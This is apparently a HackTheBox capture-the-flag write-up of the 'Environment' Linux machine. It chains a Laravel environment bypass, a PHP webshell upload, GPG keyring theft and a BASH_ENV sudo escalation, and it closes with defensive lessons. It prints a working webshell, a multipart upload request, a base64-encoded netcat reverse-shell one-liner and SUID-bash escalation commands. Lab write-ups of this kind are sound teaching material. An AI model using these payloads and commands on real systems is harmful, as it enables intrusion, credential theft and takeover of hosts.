Environment - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Environment is a medium-difficulty Linux machine that showcases the dangerous intersection of multiple CVEs and security misconfigurations in a Laravel web application. The attack begins by exploiting CVE-2024-52301, which allows environment manipulation through query parameters to bypass login authentication. Once authenticated, CVE-2024-2154 in the Laravel File Manager is leveraged to upload a PHP webshell disguised as an image file, granting remote code execution. Post-exploitation reveals exposed GPG private keys with misconfigured permissions, enabling decryption of an encrypted backup containing valid credentials. Finally, privilege escalation is achieved through a misconfigured sudo rule that preserves the BASH_ENV variable, allowing arbitrary command execution as root through a simple bash script.

TL;DR: CVE-2024-52301 (env bypass) → CVE-2024-2154 (RCE via image upload) → GPG decryption (lateral movement) → BASH_ENV sudo misconfiguration (root shell).

Reconnaissance

Port Scanning

sudo nmap -sC -sV -O 10.129.123.191

Results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp    open  http    nginx 1.22.1

Two services are exposed: SSH on port 22 and a web server on port 80. The HTTP response redirects to environment.htb, indicating a virtual host configuration.

Service Enumeration

The web server hosts a Laravel 11.30.0 application with a login page and upload functionality. Adding the domain to /etc/hosts allows proper resolution:

echo "10.129.123.191 environment.htb" | sudo tee -a /etc/hosts

Web directory enumeration using feroxbuster reveals:

feroxbuster -u http://environment.htb

Key endpoints discovered:

• /login (200 GET) - Login page
• /upload (405 GET) - Upload page with Method Not Allowed error
• /mailing (405 GET) - Mailing page
• / (200 GET) - Homepage showing “Production v1.1”

The 405 error on /upload reveals the Laravel version in its error response, confirming Laravel 11.30.0.

Vulnerability Assessment

Two critical CVEs are identified through research:

1. CVE-2024-52301: Laravel environment manipulation via query string parameters allows bypassing authentication by setting the environment to “preprod”
2. CVE-2024-2154: Laravel File Manager contains a Remote Code Execution vulnerability allowing PHP webshell upload through image manipulation

Additional misconfiguration:

• GPG private keys directory (/home/hish/.gnupg/) is world-readable (755 permissions)
• Sudo configuration preserves BASH_ENV variable during privilege escalation

Initial Foothold

Exploitation Path: CVE-2024-52301 + CVE-2024-2154

Step 1: Bypass Authentication with Environment Manipulation

The homepage footer displays “Production v1.1”. By manipulating the environment variable through a query parameter, we can change this behavior:

http://environment.htb/?LARAVEL_ENV=preprod

Testing this payload on the homepage confirms the vulnerability works. The login page contains a developer comment indicating that if the environment is set to “preprod”, login credentials are bypassed.

Step 2: Access the Management Dashboard

Visiting the login page with the environment parameter set:

http://environment.htb/login?LARAVEL_ENV=preprod

Attempting to log in with arbitrary credentials (or none) now redirects to the management dashboard, confirming authentication bypass.

Step 3: Exploit File Upload for RCE

Within the dashboard, we discover a profile picture upload functionality. The error message generated when manipulating upload requests reveals use of “Laravel File Manager”, which has a known RCE vulnerability.

The vulnerability allows embedding PHP code into image files with a trailing dot (.php.) to bypass extension filtering:

# Create a PHP webshell payload
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

Capture the image upload request and modify it to include PHP code with the filename parameter set to phpwebshell.png. to bypass validation:

POST /upload HTTP/1.1
Host: environment.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="name"

phpwebshell.png.
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="phpwebshell.png"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Step 4: Execute Commands and Establish Reverse Shell

Once the webshell is uploaded, access it at the file storage location. Prepare a reverse shell payload:

# Create reverse shell payload
PAYLOAD="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.57 9001 >/tmp/f"

# Base64 encode it
echo "$PAYLOAD" | base64
# Output: cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pICAyPiYxfG5jIDEwLjEwLjE0LjU3IDkwMDEgPi90bXAvZiAK

# Set up netcat listener
nc -lvnp 9001

Trigger the payload by accessing the webshell with base64-encoded command:

http://environment.htb/storage/files/phpwebshell.png.php?cmd=echo%20%22cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pICAyPiYxfG5jIDEwLjEwLjE0LjU3IDkwMDEgPi90bXAvZiAK%22%20%7C%20base64%20-d%20%7C%20bash

Step 5: Stabilize Shell

# Upgrade to interactive bash shell
script -q /dev/null bash

# Verify access
id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Read user flag
cat /home/hish/user.txt

Privilege Escalation

Step 1: Discover GPG Keys and Encrypted Backup

Navigate to the compromised user’s home directory:

cd /home/hish
ls -al

# Output shows:
# drwxr-xr-x 4 hish hish .gnupg/
# drwxr-xr-x 2 hish hish backup/

The .gnupg directory has world-readable permissions (755), and the backup/ folder contains an encrypted GPG file:

ls -al .gnupg/private-keys-v1.d/
# Private keys are readable by www-data

ls -al backup/
# -rw-r--r-- 1 hish hish 430 keyvault.gpg

Step 2: Extract and Decrypt GPG Files

Since decryption on the target machine may fail due to entropy, download the GPG keyring and encrypted file locally:

# Create archives on the target
cd /tmp
zip -r gnupg.zip /home/hish/.gnupg
cp /home/hish/backup/keyvault.gpg .

# Start HTTP server
python3 -m http.server 8000

Download files locally:

wget http://10.129.123.191:8000/gnupg.zip
wget http://10.129.123.191:8000/keyvault.gpg

# Extract the keyring
unzip gnupg.zip

Decrypt the keyvault using the extracted GPG keys:

# Set GNUPGHOME to use the downloaded keyring
export GNUPGHOME="$(pwd)/home/hish/.gnupg"

# Decrypt the file
gpg --output keyvault.txt --decrypt keyvault.gpg

# View decrypted content
cat keyvault.txt

Output reveals credentials:

PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

Step 3: Lateral Movement to SSH Access

Use the discovered password to SSH as the hish user:

ssh hish@environment.htb
# Password: marineSPm@ster!!

# Verify access
id

Step 4: Exploit Sudo BASH_ENV Misconfiguration

Check sudo permissions:

sudo -l

Output reveals:

Matching Defaults entries for hish on environment:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

The critical misconfiguration is env_keep+="ENV BASH_ENV", which preserves the BASH_ENV variable when executing the script with elevated privileges.

Examine the /usr/bin/systeminfo script:

cat /usr/bin/systeminfo

Output shows it’s a simple bash script that runs system commands. Although the script itself is harmless, BASH_ENV allows code execution before the script runs.

Create a malicious script that sets the SUID bit on bash:

cat > ~/privesc.sh << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF

chmod +x ~/privesc.sh

Execute the systeminfo script with BASH_ENV pointing to our malicious script:

BASH_ENV="/home/hish/privesc.sh" sudo /usr/bin/systeminfo

This causes bash to execute our script before running systeminfo, setting the SUID bit on /bin/bash.

Step 5: Obtain Root Shell

Invoke bash with the privileged bit:

/bin/bash -p
# This launches a bash shell with effective UID 0 (root)

# Verify root access
id
# Output: uid=1000(hish) gid=1000(hish) euid=0(root)

# Read root flag
cat /root/root.txt

Attack Chain Summary

CVE-2024-52301 (Query Parameter Env Bypass)
         ↓
CVE-2024-2154 (Laravel File Manager RCE)
         ↓
PHP Webshell Execution as www-data
         ↓
GPG Private Key Extraction (World-Readable Permissions)
         ↓
Decrypt keyvault.gpg for Credentials
         ↓
SSH Access as hish User
         ↓
BASH_ENV Sudo Misconfiguration
         ↓
Root Shell / Flag

Tools Used

Key Learnings

Techniques Practiced

• Identification of Laravel applications through error messages and version disclosure
• Exploitation of environment variable manipulation in modern web frameworks
• File upload vulnerability chaining with extension bypass techniques
• GPG key extraction and decryption for credential recovery
• Sudo misconfiguration analysis focusing on environment variable preservation
• BASH_ENV exploitation for pre-script code execution in non-interactive shells
• Lateral movement through decrypted backup data
• Reverse shell payload creation and delivery

Lessons Learned

1. CVE Chaining: Multiple low-impact vulnerabilities combined create critical exploits. Environment bypass alone wouldn’t grant shell access, but combined with file upload RCE it becomes devastating.

2. Permission Misconfiguration: The .gnupg directory with 755 permissions is a critical security failure. Private cryptographic keys must never be world-readable.

3. Sudo Environment Preservation: Preserving user-controlled environment variables like BASH_ENV when executing scripts with elevated privileges defeats the purpose of privilege separation.

4. Backup Security: Encrypted backups are only as secure as the keys protecting them. Storing keys in the same directory as encrypted data negates encryption benefits.

5. Default Laravel Development Features: QoL comments in error messages and hardcoded bypass logic for non-production environments must be removed from production code.

6. Shell Script Security: Simple bash scripts executed with sudo can become privilege escalation vectors when combined with environment variable misconfigurations.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>